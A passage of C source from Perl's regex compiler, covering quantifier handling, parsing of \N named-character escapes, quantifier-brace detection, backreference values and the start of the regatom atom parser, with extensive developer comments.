nextchar(pRExC_state); *flagp = (op != '+') ? (WORST|SPSTART|HASWIDTH) : (WORST|HASWIDTH); if (op == '*') { min = 0; goto do_curly; } else if (op == '+') { min = 1; goto do_curly; } else if (op == '?') { min = 0; max = 1; goto do_curly; } nest_check: if (!(flags&(HASWIDTH|POSTPONED)) && max > REG_INFTY/3) { ckWARN2reg(RExC_parse, "%" UTF8f " matches null string many times", UTF8fARG(UTF, (RExC_parse >= origparse ? RExC_parse - origparse : 0), origparse)); } if (*RExC_parse == '?') { nextchar(pRExC_state); reginsert(pRExC_state, MINMOD, ret, depth+1); if (! REGTAIL(pRExC_state, ret, ret + NODE_STEP_REGNODE)) { REQUIRE_BRANCHJ(flagp, 0); } } else if (*RExC_parse == '+') { regnode_offset ender; nextchar(pRExC_state); ender = reg_node(pRExC_state, SUCCEED); if (! REGTAIL(pRExC_state, ret, ender)) { REQUIRE_BRANCHJ(flagp, 0); } reginsert(pRExC_state, SUSPEND, ret, depth+1); ender = reg_node(pRExC_state, TAIL); if (! REGTAIL(pRExC_state, ret, ender)) { REQUIRE_BRANCHJ(flagp, 0); } } if (ISMULT2(RExC_parse)) { RExC_parse++; vFAIL("Nested quantifiers"); } return(ret); } STATIC bool S_grok_bslash_N(pTHX_ RExC_state_t *pRExC_state, regnode_offset * node_p, UV * code_point_p, int * cp_count, I32 * flagp, const bool strict, const U32 depth ) { /* This routine teases apart the various meanings of \N and returns * accordingly. The input parameters constrain which meaning(s) is/are valid * in the current context. * * Exactly one of <node_p> and <code_point_p> must be non-NULL. * * If <code_point_p> is not NULL, the context is expecting the result to be a * single code point. If this \N instance turns out to a single code point, * the function returns TRUE and sets *code_point_p to that code point. * * If <node_p> is not NULL, the context is expecting the result to be one of * the things representable by a regnode. If this \N instance turns out to be * one such, the function generates the regnode, returns TRUE and sets *node_p * to point to the offset of that regnode into the regex engine program being * compiled. * * If this instance of \N isn't legal in any context, this function will * generate a fatal error and not return. * * On input, RExC_parse should point to the first char following the \N at the * time of the call. On successful return, RExC_parse will have been updated * to point to just after the sequence identified by this routine. Also * *flagp has been updated as needed. * * When there is some problem with the current context and this \N instance, * the function returns FALSE, without advancing RExC_parse, nor setting * *node_p, nor *code_point_p, nor *flagp. * * If <cp_count> is not NULL, the caller wants to know the length (in code * points) that this \N sequence matches. This is set, and the input is * parsed for errors, even if the function returns FALSE, as detailed below. * * There are 6 possibilities here, as detailed in the next 6 paragraphs. * * Probably the most common case is for the \N to specify a single code point. * *cp_count will be set to 1, and *code_point_p will be set to that code * point. * * Another possibility is for the input to be an empty \N{}. This is no * longer accepted, and will generate a fatal error. * * Another possibility is for a custom charnames handler to be in effect which * translates the input name to an empty string. *cp_count will be set to 0. * *node_p will be set to a generated NOTHING node. * * Still another possibility is for the \N to mean [^\n]. *cp_count will be * set to 0. *node_p will be set to a generated REG_ANY node. * * The fifth possibility is that \N resolves to a sequence of more than one * code points. *cp_count will be set to the number of code points in the * sequence. *node_p will be set to a generated node returned by this * function calling S_reg(). * * The final possibility is that it is premature to be calling this function; * the parse needs to be restarted. This can happen when this changes from * /d to /u rules, or when the pattern needs to be upgraded to UTF-8. The * latter occurs only when the fifth possibility would otherwise be in * effect, and is because one of those code points requires the pattern to be * recompiled as UTF-8. The function returns FALSE, and sets the * RESTART_PARSE and NEED_UTF8 flags in *flagp, as appropriate. When this * happens, the caller needs to desist from continuing parsing, and return * this information to its caller. This is not set for when there is only one * code point, as this can be called as part of an ANYOF node, and they can * store above-Latin1 code points without the pattern having to be in UTF-8. * * For non-single-quoted regexes, the tokenizer has resolved character and * sequence names inside \N{...} into their Unicode values, normalizing the * result into what we should see here: '\N{U+c1.c2...}', where c1... are the * hex-represented code points in the sequence. This is done there because * the names can vary based on what charnames pragma is in scope at the time, * so we need a way to take a snapshot of what they resolve to at the time of * the original parse. [perl #56444]. * * That parsing is skipped for single-quoted regexes, so here we may get * '\N{NAME}', which is parsed now. If the single-quoted regex is something * like '\N{U+41}', that code point is Unicode, and has to be translated into * the native character set for non-ASCII platforms. The other possibilities * are already native, so no translation is done. */ char * endbrace; /* points to '}' following the name */ char* p = RExC_parse; /* Temporary */ SV * substitute_parse = NULL; char *orig_end; char *save_start; I32 flags; GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_GROK_BSLASH_N; GET_RE_DEBUG_FLAGS; assert(cBOOL(node_p) ^ cBOOL(code_point_p)); /* Exactly one should be set */ assert(! (node_p && cp_count)); /* At most 1 should be set */ if (cp_count) { /* Initialize return for the most common case */ *cp_count = 1; } /* The [^\n] meaning of \N ignores spaces and comments under the /x * modifier. The other meanings do not, so use a temporary until we find * out which we are being called with */ skip_to_be_ignored_text(pRExC_state, &p, FALSE /* Don't force to /x */ ); /* Disambiguate between \N meaning a named character versus \N meaning * [^\n]. The latter is assumed when the {...} following the \N is a legal * quantifier, or if there is no '{' at all */ if (*p != '{' || regcurly(p)) { RExC_parse = p; if (cp_count) { *cp_count = -1; } if (! node_p) { return FALSE; } *node_p = reg_node(pRExC_state, REG_ANY); *flagp |= HASWIDTH|SIMPLE; MARK_NAUGHTY(1); Set_Node_Length(REGNODE_p(*(node_p)), 1); /* MJD */ return TRUE; } /* The test above made sure that the next real character is a '{', but * under the /x modifier, it could be separated by space (or a comment and * \n) and this is not allowed (for consistency with \x{...} and the * tokenizer handling of \N{NAME}). */ if (*RExC_parse != '{') { vFAIL("Missing braces on \\N{}"); } RExC_parse++; /* Skip past the '{' */ endbrace = (char *) memchr(RExC_parse, '}', RExC_end - RExC_parse); if (! endbrace) { /* no trailing brace */ vFAIL2("Missing right brace on \\%c{}", 'N'); } /* Here, we have decided it should be a named character or sequence. These * imply Unicode semantics */ REQUIRE_UNI_RULES(flagp, FALSE); /* \N{_} is what toke.c returns to us to indicate a name that evaluates to * nothing at all (not allowed under strict) */ if (endbrace - RExC_parse == 1 && *RExC_parse == '_') { RExC_parse = endbrace; if (strict) { RExC_parse++; /* Position after the "}" */ vFAIL("Zero length \\N{}"); } if (cp_count) { *cp_count = 0; } nextchar(pRExC_state); if (! node_p) { return FALSE; } *node_p = reg_node(pRExC_state, NOTHING); return TRUE; } if (endbrace - RExC_parse < 2 || ! strBEGINs(RExC_parse, "U+")) { /* Here, the name isn't of the form U+.... This can happen if the * pattern is single-quoted, so didn't get evaluated in toke.c. Now * is the time to find out what the name means */ const STRLEN name_len = endbrace - RExC_parse; SV * value_sv; /* What does this name evaluate to */ SV ** value_svp; const U8 * value; /* string of name's value */ STRLEN value_len; /* and its length */ /* RExC_unlexed_names is a hash of names that weren't evaluated by * toke.c, and their values. Make sure is initialized */ if (! RExC_unlexed_names) { RExC_unlexed_names = newHV(); } /* If we have already seen this name in this pattern, use that. This * allows us to only call the charnames handler once per name per * pattern. A broken or malicious handler could return something * different each time, which could cause the results to vary depending * on if something gets added or subtracted from the pattern that * causes the number of passes to change, for example */ if ((value_svp = hv_fetch(RExC_unlexed_names, RExC_parse, name_len, 0))) { value_sv = *value_svp; } else { /* Otherwise we have to go out and get the name */ const char * error_msg = NULL; value_sv = get_and_check_backslash_N_name(RExC_parse, endbrace, UTF, &error_msg); if (error_msg) { RExC_parse = endbrace; vFAIL(error_msg); } /* If no error message, should have gotten a valid return */ assert (value_sv); /* Save the name's meaning for later use */ if (! hv_store(RExC_unlexed_names, RExC_parse, name_len, value_sv, 0)) { Perl_croak(aTHX_ "panic: hv_store() unexpectedly failed"); } } /* Here, we have the value the name evaluates to in 'value_sv' */ value = (U8 *) SvPV(value_sv, value_len); /* See if the result is one code point vs 0 or multiple */ if (value_len > 0 && value_len <= (UV) ((SvUTF8(value_sv)) ? UTF8SKIP(value) : 1)) { /* Here, exactly one code point. If that isn't what is wanted, * fail */ if (! code_point_p) { RExC_parse = p; return FALSE; } /* Convert from string to numeric code point */ *code_point_p = (SvUTF8(value_sv)) ? valid_utf8_to_uvchr(value, NULL) : *value; /* Have parsed this entire single code point \N{...}. *cp_count * has already been set to 1, so don't do it again. */ RExC_parse = endbrace; nextchar(pRExC_state); return TRUE; } /* End of is a single code point */ /* Count the code points, if caller desires. The API says to do this * even if we will later return FALSE */ if (cp_count) { *cp_count = 0; *cp_count = (SvUTF8(value_sv)) ? utf8_length(value, value + value_len) : value_len; } /* Fail if caller doesn't want to handle a multi-code-point sequence. * But don't back the pointer up if the caller wants to know how many * code points there are (they need to handle it themselves in this * case). */ if (! node_p) { if (! cp_count) { RExC_parse = p; } return FALSE; } /* Convert this to a sub-pattern of the form "(?: ... )", and then call * reg recursively to parse it. That way, it retains its atomicness, * while not having to worry about any special handling that some code * points may have. */ substitute_parse = newSVpvs("?:"); sv_catsv(substitute_parse, value_sv); sv_catpv(substitute_parse, ")"); #ifdef EBCDIC /* The value should already be native, so no need to convert on EBCDIC * platforms.*/ assert(! RExC_recode_x_to_native); #endif } else { /* \N{U+...} */ Size_t count = 0; /* code point count kept internally */ /* We can get to here when the input is \N{U+...} or when toke.c has * converted a name to the \N{U+...} form. This include changing a * name that evaluates to multiple code points to \N{U+c1.c2.c3 ...} */ RExC_parse += 2; /* Skip past the 'U+' */ /* Code points are separated by dots. The '}' terminates the whole * thing. */ do { /* Loop until the ending brace */ UV cp = 0; char * start_digit; /* The first of the current code point */ if (! isXDIGIT(*RExC_parse)) { RExC_parse++; vFAIL("Invalid hexadecimal number in \\N{U+...}"); } start_digit = RExC_parse; count++; /* Loop through the hex digits of the current code point */ do { /* Adding this digit will shift the result 4 bits. If that * result would be above the legal max, it's overflow */ if (cp > MAX_LEGAL_CP >> 4) { /* Find the end of the code point */ do { RExC_parse ++; } while (isXDIGIT(*RExC_parse) || *RExC_parse == '_'); /* Be sure to synchronize this message with the similar one * in utf8.c */ vFAIL4("Use of code point 0x%.*s is not allowed; the" " permissible max is 0x%" UVxf, (int) (RExC_parse - start_digit), start_digit, MAX_LEGAL_CP); } /* Accumulate this (valid) digit into the running total */ cp = (cp << 4) + READ_XDIGIT(RExC_parse); /* READ_XDIGIT advanced the input pointer. Ignore a single * underscore separator */ if (*RExC_parse == '_' && isXDIGIT(RExC_parse[1])) { RExC_parse++; } } while (isXDIGIT(*RExC_parse)); /* Here, have accumulated the next code point */ if (RExC_parse >= endbrace) { /* If done ... */ if (count != 1) { goto do_concat; } /* Here, is a single code point; fail if doesn't want that */ if (! code_point_p) { RExC_parse = p; return FALSE; } /* A single code point is easy to handle; just return it */ *code_point_p = UNI_TO_NATIVE(cp); RExC_parse = endbrace; nextchar(pRExC_state); return TRUE; } /* Here, the only legal thing would be a multiple character * sequence (of the form "\N{U+c1.c2. ... }". So the next * character must be a dot (and the one after that can't be the * endbrace, or we'd have something like \N{U+100.} ) */ if (*RExC_parse != '.' || RExC_parse + 1 >= endbrace) { RExC_parse += (RExC_orig_utf8) /* point to after 1st invalid */ ? UTF8SKIP(RExC_parse) : 1; if (RExC_parse >= endbrace) { /* Guard against malformed utf8 */ RExC_parse = endbrace; } vFAIL("Invalid hexadecimal number in \\N{U+...}"); } /* Here, looks like its really a multiple character sequence. Fail * if that's not what the caller wants. But continue with counting * and error checking if they still want a count */ if (! node_p && ! cp_count) { return FALSE; } /* What is done here is to convert this to a sub-pattern of the * form \x{char1}\x{char2}... and then call reg recursively to * parse it (enclosing in "(?: ... )" ). That way, it retains its * atomicness, while not having to worry about special handling * that some code points may have. We don't create a subpattern, * but go through the motions of code point counting and error * checking, if the caller doesn't want a node returned. */ if (node_p && count == 1) { substitute_parse = newSVpvs("?:"); } do_concat: if (node_p) { /* Convert to notation the rest of the code understands */ sv_catpvs(substitute_parse, "\\x{"); sv_catpvn(substitute_parse, start_digit, RExC_parse - start_digit); sv_catpvs(substitute_parse, "}"); } /* Move to after the dot (or ending brace the final time through.) * */ RExC_parse++; count++; } while (RExC_parse < endbrace); if (! node_p) { /* Doesn't want the node */ assert (cp_count); *cp_count = count; return FALSE; } sv_catpvs(substitute_parse, ")"); #ifdef EBCDIC /* The values are Unicode, and therefore have to be converted to native * on a non-Unicode (meaning non-ASCII) platform. */ RExC_recode_x_to_native = 1; #endif } /* Here, we have the string the name evaluates to, ready to be parsed, * stored in 'substitute_parse' as a series of valid "\x{...}\x{...}" * constructs. This can be called from within a substitute parse already. * The error reporting mechanism doesn't work for 2 levels of this, but the * code above has validated this new construct, so there should be no * errors generated by the below. And this isn' an exact copy, so the * mechanism to seamlessly deal with this won't work, so turn off warnings * during it */ save_start = RExC_start; orig_end = RExC_end; RExC_parse = RExC_start = SvPVX(substitute_parse); RExC_end = RExC_parse + SvCUR(substitute_parse); TURN_OFF_WARNINGS_IN_SUBSTITUTE_PARSE; *node_p = reg(pRExC_state, 1, &flags, depth+1); /* Restore the saved values */ RESTORE_WARNINGS; RExC_start = save_start; RExC_parse = endbrace; RExC_end = orig_end; #ifdef EBCDIC RExC_recode_x_to_native = 0; #endif SvREFCNT_dec_NN(substitute_parse); if (! *node_p) { RETURN_FAIL_ON_RESTART(flags, flagp); FAIL2("panic: reg returned failure to grok_bslash_N, flags=%#" UVxf, (UV) flags); } *flagp |= flags&(HASWIDTH|SPSTART|SIMPLE|POSTPONED); nextchar(pRExC_state); return TRUE; } PERL_STATIC_INLINE U8 S_compute_EXACTish(RExC_state_t *pRExC_state) { U8 op; PERL_ARGS_ASSERT_COMPUTE_EXACTISH; if (! FOLD) { return (LOC) ? EXACTL : EXACT; } op = get_regex_charset(RExC_flags); if (op >= REGEX_ASCII_RESTRICTED_CHARSET) { op--; /* /a is same as /u, and map /aa's offset to what /a's would have been, so there is no hole */ } return op + EXACTF; } STATIC bool S_new_regcurly(const char *s, const char *e) { /* This is a temporary function designed to match the most lenient form of * a {m,n} quantifier we ever envision, with either number omitted, and * spaces anywhere between/before/after them. * * If this function fails, then the string it matches is very unlikely to * ever be considered a valid quantifier, so we can allow the '{' that * begins it to be considered as a literal */ bool has_min = FALSE; bool has_max = FALSE; PERL_ARGS_ASSERT_NEW_REGCURLY; if (s >= e || *s++ != '{') return FALSE; while (s < e && isSPACE(*s)) { s++; } while (s < e && isDIGIT(*s)) { has_min = TRUE; s++; } while (s < e && isSPACE(*s)) { s++; } if (*s == ',') { s++; while (s < e && isSPACE(*s)) { s++; } while (s < e && isDIGIT(*s)) { has_max = TRUE; s++; } while (s < e && isSPACE(*s)) { s++; } } return s < e && *s == '}' && (has_min || has_max); } /* Parse backref decimal value, unless it's too big to sensibly be a backref, * in which case return I32_MAX (rather than possibly 32-bit wrapping) */ static I32 S_backref_value(char *p, char *e) { const char* endptr = e; UV val; if (grok_atoUV(p, &val, &endptr) && val <= I32_MAX) return (I32)val; return I32_MAX; } /* - regatom - the lowest level Try to identify anything special at the start of the current parse position. If there is, then handle it as required. This may involve generating a single regop, such as for an assertion; or it may involve recursing, such as to handle a () structure. If the string doesn't start with something special then we gobble up as much literal text as we can. If we encounter a quantifier, we have to back off the final literal character, as that quantifier applies to just it and not to the whole string of literals. Once we have been able to handle whatever type of thing started the sequence, we return the offset into the regex engine program being compiled at which any next regnode should be placed. Returns 0, setting *flagp to TRYAGAIN if reg() returns 0 with TRYAGAIN. Returns 0, setting *flagp to RESTART_PARSE if the parse needs to be restarted, or'd with NEED_UTF8 if the pattern needs to be upgraded to UTF-8 Otherwise does not return 0. Note: we have to be careful with escapes, as they can be both literal and special, and in the case of \10 and friends, context determines which. A summary of the code structure is: switch (first_byte) { cases for each special: handle this special; break; case '\\': switch (2nd byte) { cases for each unambiguous special: handle this special; break; cases for each ambigous special/literal: disambiguate; if (special) handle here else goto defchar; default: // unambiguously literal: goto defchar; } default: // is a literal char // FALL THROUGH defchar: create EXACTish node for literal; while (more input and node isn't full) { switch (input_byte) { cases for each special; make sure parse pointer is set so that the next call to regatom will see this special first goto loopdone; // EXACTish node terminated by prev. char default: append char to EXACTISH node; } get next input byte; } loopdone: } return the generated node; Specifically there are two separate switches for handling escape sequences, with the one for handling literal escapes requiring a dummy entry for all of the special escapes that are actually handled by the other. */ STATIC regnode_offset S_regatom(pTHX_ RExC_state_t *pRExC_state, I32 *flagp, U32 depth) { dVAR; regnode_offset ret = 0; I32 flags = 0; char *parse_start; U8 op; int invert = 0; U8 arg; GET_RE_DEBUG_FLAGS_DECL; *flagp = WORST; /* Tentatively. */ DEBUG_PARSE("atom"); PERL_ARGS_ASSERT_REGATOM; tryagain: parse_start = RExC_parse; assert(RExC_parse < RExC_end); switch ((U8)*RExC_parse) { case '^': RExC_seen_zerolen++; nextchar(pRExC_state); if (RExC_flags & RXf_PMf_MULTILINE) ret = reg_node(pRExC_state, MBOL); else ret = reg_node(pRExC_state, SBOL); Set_Node_Length(REGNODE_p(ret), 1); /* MJD */ break; case '$': nextchar(pRExC_state); if (*RExC_parse) RExC_seen_zerolen++; if (RExC_flags & RXf_PMf_MULTILINE) ret = reg_node(pRExC_state, MEOL); else ret = reg_node(pRExC_state, SEOL); Set_Node_Length(REGNODE_p(ret), 1); /* MJD */ break; case '.': nextchar(pRExC_state); if (RExC_flags & RXf_PMf_SINGLELINE) ret = reg_node(pRExC_state, SANY); else ret = reg_node(pRExC_state, REG_ANY); *flagp |= HASWIDTH|SIMPLE; MARK_NAUGHTY(1); Set_Node_Length(REGNODE_p(ret), 1); /* MJD */ break; case '[': { char * const oregcomp_parse = ++RExC_parse; ret = regclass(pRExC_state, flagp, depth+1, FALSE, /* means parse the whole char class */ TRUE, /* allow multi-char folds */ FALSE, /* don't silence non-portable warnings. */ (bool) RExC_strict, TRUE, /* Allow an optimized regnode result */ NULL); if (ret == 0) { RETURN_FAIL_ON_RESTART_FLAGP(flagp); FAIL2("panic: regclass returned failure to regatom, flags=%#" UVxf, (UV) *flagp); } if (*RExC_parse != ']') { RExC_parse = oregcomp_parse; vFAIL("Unmatched ["); } nextchar(pRExC_state); Set_Node_Length(REGNODE_p(ret), RExC_parse - oregcomp_parse + 1); /* MJD */ break; } case '(': nextchar(pRExC_state); ret = reg(pRExC_state, 2, &flags, depth+1); if (ret == 0) { if (flags & TRYAGAIN) { if (RExC_parse >= RExC_end) { /* Make parent create an empty node if needed. */ *flagp |= TRYAGAIN; return(0); } goto tryagain; } RETURN_FAIL_ON_RESTART(flags, flagp); FAIL2("panic: reg returned failure to regatom, flags=%#" UVxf, (UV) flags); } *flagp |= flags&(HASWIDTH|SPSTART|SIMPLE|POSTPONED); break; case '|': case ')': if (flags & TRYAGAIN) { *flagp |= TRYAGAIN; return 0; } vFAIL("Internal urp"); /* Supposed to be caught earlier. */ break; case '?': case '+': case '*': RExC_parse++; vFAIL("Quantifier follows nothing"); break; case '\\': /* Special Escapes This switch handles escape sequences that resolve to some kind of special regop and not to literal text. Escape sequences that resolve to literal text are handled below in the switch marked "Literal Escapes". Every entry in this switch *must* have a corresponding entry in the literal escape switch. However, the opposite is not required, as the default for this switch is to jump to the literal text handling code. */ RExC_parse++; switch ((U8)*RExC_parse) { /* Special Escapes */ case 'A': RExC_seen_zerolen++; ret = reg_node(pRExC_state, SBOL); /* SBOL is shared with /^/ so we set the flags so we can tell * /\A/ from /^/ in split. */ FLAGS(REGNODE_p(ret)) = 1; *flagp |= SIMPLE; goto finish_meta_pat; case 'G': ret = reg_node(pRExC_state, GPOS); RExC_seen |= REG_GPOS_SEEN; *flagp |= SIMPLE; goto finish_meta_pat; case 'K': RExC_seen_zerolen++; ret = reg_node(pRExC_state, KEEPS); *flagp |= SIMPLE; /* XXX:dmq : disabling in-place substitution seems to * be necessary here to avoid cases of memory corruption, as * with: C<$_="x" x 80; s/x\K/y/> -- rgs */ RExC_seen |= REG_LOOKBEHIND_SEEN; goto finish_meta_pat; case 'Z': ret = reg_node(pRExC_state, SEOL); *flagp |= SIMPLE; RExC_seen_zerolen++; /* Do not optimize RE away */ goto finish_meta_pat; case 'z': ret = reg_node(pRExC_state, EOS); *flagp |= SIMPLE; RExC_seen_zerolen++; /* Do not optimize RE away */ goto finish_meta_pat; case 'C': vFAIL("\\C no longer supported"); case 'X': ret = reg_node(pRExC_state, CLUMP); *flagp |= HASWIDTH; goto finish_meta_pat; case 'W': invert = 1; /* FALLTHROUGH */ case 'w': arg = ANYOF_WORDCHAR; goto join_posix; case 'B': invert = 1; /* FALLTHROUGH */ case 'b': { U8 flags = 0; regex_charset charset = get_regex_charset(RExC_flags); RExC_seen_zerolen++; RExC_seen |= REG_LOOKBEHIND_SEEN; op = BOUND + charset; if (RExC_parse >= RExC_end || *(RExC_parse + 1) != '{') { flags = TRADITIONAL_BOUND; if (op > BOUNDA) { /* /aa is same as /a */ op = BOUNDA; } } else { STRLEN length; char name = *RExC_parse; char * endbrace = NULL; RExC_parse += 2; endbrace = (char *) memchr(RExC_parse, '}', RExC_end - RExC_parse); if (! endbrace) { vFAIL2("Missing right brace on \\%c{}", name); } /* XXX Need to decide whether to take spaces or not. Should be * consistent with \p{}, but that currently is SPACE, which * means vertical too, which seems wrong * while (isBLANK(*RExC_parse)) { RExC_parse++; }*/ if (endbrace == RExC_parse) { RExC_parse++; /* After the '}' */ vFAIL2("Empty \\%c{}", name); } length = endbrace - RExC_parse; /*while (isBLANK(*(RExC_parse + length - 1))) { length--; }*/ switch (*RExC_parse) { case 'g': if ( length != 1 && (memNEs(RExC_parse + 1, length - 1, "cb"))) { goto bad_bound_type; } flags = GCB_BOUND; break; case 'l': if (length != 2 || *(RExC_parse + 1) != 'b') { goto bad_bound_type; } flags = LB_BOUND; break; case 's': if (length != 2 || *(RExC_parse + 1) != 'b') { goto bad_bound_type; } flags = SB_BOUND; break; case 'w': if (length != 2 || *(RExC_parse + 1) != 'b') { goto bad_bound_type; } flags = WB_BOUND; break; default: bad_bound_type: RExC_parse = endbrace; vFAIL2utf8f( "'%" UTF8f "' is an unknown bound type", UTF8fARG(UTF, length, endbrace - length)); NOT_REACHED; /*NOTREACHED*/ } RExC_parse = endbrace; REQUIRE_UNI_RULES(flagp, 0); if (op == BOUND) { op = BOUNDU; } else if (op >= BOUNDA) { /* /aa is same as /a */ op = BOUNDU; length += 4; /* Don't have to worry about UTF-8, in this message because * to get here the contents of the \b must be ASCII */ ckWARN4reg(RExC_parse + 1, /* Include the '}' in msg */ "Using /u for '%.*s' instead of /%s", (unsigned) length, endbrace - length + 1, (charset == REGEX_ASCII_RESTRICTED_CHARSET) ? ASCII_RESTRICT_PAT_MODS : ASCII_MORE_RESTRICT_PAT_MODS); } } if (op == BOUND) { RExC_seen_d_op = TRUE; } else if (op == BOUNDL) { RExC_contains_locale = 1; } if (invert) { op += NBOUND - BOUND; } ret = reg_node(pRExC_state, op); FLAGS(REGNODE_p(ret)) = flags; *flagp |= SIMPLE; goto finish_meta_pat; } case 'D': invert = 1; /* FALLTHROUGH */ case 'd': arg = ANYOF_DIGIT; if (! DEPENDS_SEMANTICS) { goto join_posix; } /* \d doesn't have any matches in the upper Latin1 range, hence /d * is equivalent to /u. Changing to /u saves some branches at * runtime */ op = POSIXU; goto join_posix_op_known; case 'R': ret = reg_node(pRExC_state, LNBREAK); *flagp |= HASWIDTH|SIMPLE; goto finish_meta_pat; case 'H': invert = 1; /* FALLTHROUGH */ case 'h': arg = ANYOF_BLANK; op = POSIXU; goto join_posix_op_known; case 'V': invert = 1; /* FALLTHROUGH */ case 'v': arg = ANYOF_VERTWS; op = POSIXU; goto join_posix_op_known; case 'S': invert = 1; /* FALLTHROUGH */ case 's': arg = ANYOF_SPACE; join_posix: op = POSIXD + get_regex_charset(RExC_flags); if (op > POSIXA) { /* /aa is same as /a */ op = POSIXA; } else if (op == POSIXL) { RExC_contains_locale = 1; } else if (op == POSIXD) { RExC_seen_d_op = TRUE; } join_posix_op_known: if (invert) { op += NPOSIXD - POSIXD; } ret = reg_node(pRExC_state, op); FLAGS(REGNODE_p(ret)) = namedclass_to_classnum(arg); *flagp |= HASWIDTH|SIMPLE; /* FALLTHROUGH */ finish_meta_pat: if ( UCHARAT(RExC_parse + 1) == '{' && UNLIKELY(! new_regcurly(RExC_parse + 1, RExC_end))) { RExC_parse += 2; vFAIL("Unescaped left brace in regex is illegal here"); } nextchar(pRExC_state); Set_Node_Length(REGNODE_p(ret), 2); /* MJD */ break; case 'p': case 'P': RExC_parse--; ret = regclass(pRExC_state, flagp, depth+1, TRUE, /* means just parse this element */ FALSE, /* don't allow multi-char folds */ FALSE, /* don't silence non-portable warnings. It would be a bug if these returned non-portables */ (bool) RExC_strict, TRUE, /* Allow an optimized regnode result */ NULL); RETURN_FAIL_ON_RESTART_FLAGP(flagp); /* regclass() can only return RESTART_PARSE and NEED_UTF8 if * multi-char folds are allowed. */ if (!ret) FAIL2("panic: regclass returned failure to regatom, flags=%#" UVxf, (UV) *flagp); RExC_parse--; Set_Node_Offset(REGNODE_p(ret), parse_start); Set_Node_Cur_Length(REGNODE_p(ret), parse_start - 2); nextchar(pRExC_state); break; case 'N': /* Handle \N, \N{} and \N{NAMED SEQUENCE} (the latter meaning the * \N{...} evaluates to a sequence of more than one code points). * The function call below returns a regnode, which is our result. * The parameters cause it to fail if the \N{} evaluates to a * single code point; we handle those like any other literal. The * reason that the multicharacter case is handled here and not as * part of the EXACtish code is because of quantifiers. In * /\N{BLAH}+/, the '+' applies to the whole thing, and doing it * this way makes that Just Happen. dmq. * join_exact() will join this up with adjacent EXACTish nodes * later on, if appropriate. */ ++RExC_parse; if (grok_bslash_N(pRExC_state, &ret, /* Want a regnode returned */ NULL, /* Fail if evaluates to a single code point */ NULL, /* Don't need a count of how many code points */ flagp, RExC_strict, depth) ) { break; } RETURN_FAIL_ON_RESTART_FLAGP(flagp); /* Here, evaluates to a single code point. Go get that */ RExC_parse = parse_start; goto defchar; case 'k': /* Handle \k<NAME> and \k'NAME' */ parse_named_seq: { char ch; if ( RExC_parse >= RExC_end - 1 || (( ch = RExC_parse[1]) != '<' && ch != '\'' && ch != '{')) { RExC_parse++; /* diag_listed_as: Sequence \%s... not terminated in regex; marked by <-- HERE in m/%s/ */ vFAIL2("Sequence %.2s... not terminated", parse_start); } else { RExC_parse += 2; ret = handle_named_backref(pRExC_state, flagp, parse_start, (ch == '<') ? '>' : (ch == '{') ? '}' : '\''); } break; } case 'g': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': { I32 num; bool hasbrace = 0; if (*RExC_parse == 'g') { bool isrel = 0; RExC_parse++; if (*RExC_parse == '{') { RExC_parse++; hasbrace = 1; } if (*RExC_parse == '-') { RExC_parse++; isrel = 1; } if (hasbrace && !isDIGIT(*RExC_parse)) { if (isrel) RExC_parse--; RExC_parse -= 2; goto parse_named_seq; } if (RExC_parse >= RExC_end) { goto unterminated_g; } num = S_backref_value(RExC_parse, RExC_end); if (num == 0) vFAIL("Reference to invalid group 0"); else if (num == I32_MAX) { if (isDIGIT(*RExC_parse)) vFAIL("Reference to nonexistent group"); else unterminated_g: vFAIL("Unterminated \\g... pattern"); } if (isrel) { num = RExC_npar - num; if (num < 1) vFAIL("Reference to nonexistent or unclosed group"); } } else { num = S_backref_value(RExC_parse, RExC_end); /* bare \NNN might be backref or octal - if it is larger * than or equal RExC_npar then it is assumed to be an * octal escape. Note RExC_npar is +1 from the actual * number of parens. */ /* Note we do NOT check if num == I32_MAX here, as that is * handled by the RExC_npar check */ if ( /* any numeric escape < 10 is always a backref */ num > 9 /* any numeric escape < RExC_npar is a backref */ && num >= RExC_npar /* cannot be an octal escape if it starts with 8 */ && *RExC_parse != '8' /* cannot be an octal escape it it starts with 9 */ && *RExC_parse != '9' ) { /* Probably not meant to be a backref, instead likely * to be an octal character escape, e.g. \35 or \777. * The above logic should make it obvious why using * octal escapes in patterns is problematic. - Yves */ RExC_parse = parse_start; goto defchar; } } /* At this point RExC_parse points at a numeric escape like * \12 or \88 or something similar, which we should NOT treat * as an octal escape. It may or may not be a valid backref * escape. For instance \88888888 is unlikely to be a valid * backref. */ while (isDIGIT(*RExC_parse)) RExC_parse++; if (hasbrace) { if (*RExC_parse != '}') vFAIL("Unterminated \\g{...} pattern"); RExC_parse++; } if (num >= (I32)RExC_npar) { /* It might be a forward reference; we can't fail until we * know, by completing the parse to get all the groups, and * then reparsing */ if (ALL_PARENS_COUNTED) { if (num >= RExC_total_parens) { vFAIL("Reference to nonexistent group"); } } else { REQUIRE_PARENS_PASS; } } RExC_sawback = 1; ret = reganode(pRExC_state, ((! FOLD) ? REF : (ASCII_FOLD_RESTRICTED) ? REFFA : (AT_LEAST_UNI_SEMANTICS) ? REFFU : (LOC) ? REFFL : REFF), num); if (OP(REGNODE_p(ret)) == REFF) { RExC_seen_d_op = TRUE; } *flagp |= HASWIDTH; /* override incorrect value set in reganode MJD */ Set_Node_Offset(REGNODE_p(ret), parse_start); Set_Node_Cur_Length(REGNODE_p(ret), parse_start-1); skip_to_be_ignored_text(pRExC_state, &RExC_parse, FALSE /* Don't force to /x */ ); } break; case '\0': if (RExC_parse >= RExC_end) FAIL("Trailing \\"); /* FALLTHROUGH */ default: /* Do not generate "unrecognized" warnings here, we fall back into the quick-grab loop below */ RExC_parse = parse_start; goto defchar; } /* end of switch on a \foo sequence */ break; case '#': /* '#' comments should have been spaced over before this function was * called */ assert((RExC_flags & RXf_PMf_EXTENDED) == 0); /* if (RExC_flags & RXf_PMf_EXTENDED) { RExC_parse = reg_skipcomment( pRExC_state, RExC_parse ); if (RExC_parse < RExC_end) goto tryagain; } */ /* FALLTHROUGH */ default: defchar: { /* Here, we have determined that the next thing is probably a * literal character. RExC_parse points to the first byte of its * definition. (It still may be an escape sequence that evaluates * to a single character) */ STRLEN len = 0; UV ender = 0; char *p; char *s; /* This allows us to fill a node with just enough spare so that if the final * character folds, its expansion is guaranteed to fit */ #define MAX_NODE_STRING_SIZE (255-UTF8_MAXBYTES_CASE) char *s0; U8 upper_parse = MAX_NODE_STRING_SIZE; /* We start out as an EXACT node, even if under 